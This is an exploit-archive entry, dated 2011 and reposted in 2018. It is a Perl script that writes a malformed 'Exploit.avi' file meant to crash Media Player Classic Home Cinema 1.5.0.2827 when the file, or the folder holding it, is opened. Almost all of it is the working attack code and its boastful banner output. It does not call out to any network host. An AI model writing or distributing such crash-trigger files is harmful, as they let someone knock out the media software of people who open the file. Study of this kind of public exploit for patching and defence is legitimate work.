Media Player Classic Home Cinema 1.5.0.2827 Buffer overflow/DOS

#!/usr/bin/perl
#(+)Exploit Title: Media Player Classic Home Cinema 1.5.0.2827 Buffer overflow/DOS Exploit
#(+)Software Link: majorgeeks.com/Media_Player_Classic_Home_Cinema_d6213.html
#(+)Software:  Media Player Classic Home Cinema
#(+)Version:   1.5.0.2827
#(+)Tested On: WIN-XP SP3
#(+) Date    : 4.04.2011
#(+) Hour    : 13:37 PM
#(+) Hour    : 13:37 PM
#(+)Exploit Coded by: ^Xecuti0N3r

system("color 6");
system("title Media Player Classic Home Cinema 1.5.0.2827 Buffer overflow/DOS Exploit");
print "
_______________________________________________________________________
																	
(+)Exploit Title: Media Player Classic Home Cinema 1.5.0.2827 0day Buffer overflow/DOS Exploit 
 
(+) Software Link: majorgeeks.com/Media_Player_Classic_Home_Cinema_d6213.html				
(+) Software:  Media Player Classic Home Cinema											
(+) Version :   1.5.0.2827												
(+) Tested On: WIN-XP SP3												
(+) Date    : 31.03.2011												
(+) Hour    : 13:37 PM													
____________________________________________________________________\n";
sleep 2;
system("cls");
system("color 2");
print "\nGenerating the exploit file !!!";
sleep 2;
print "\n\nExploit.avi file generated!!";
sleep 2;
$theoverflow = "\x4D\x54\x68\x64\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00";
#Similar Bug was found by cr4wl3r in MediaPlayer Classic 
open(file, "> Exploit.avi");
print (file $theoverflow);
print "\n\n(+) Done!\n
(+) Now Just open Explot.avi with Media Player Classic Home Cinema and Kaboooommm !! ;) \n
(+) Most of the times there is a crash\n whenever you open the folder where the Exploit.avi is stored :D \n";

sleep 3;
system("cls");
sleep 1;
system("color C");
print "\n\n\n########################################################################\n
(+)Exploit Coded by: ^Xecuti0N3r \n
(+)^Xecuti0N3r: xecuti0n3r()yahoo.com \n
(+)Special Thanks to: MaxCaps, d3M0l!tioN3r & aNnIh!LatioN3r \n
########################################################################\n\n";
system("pause");



#  0day.today [2018-01-10]  #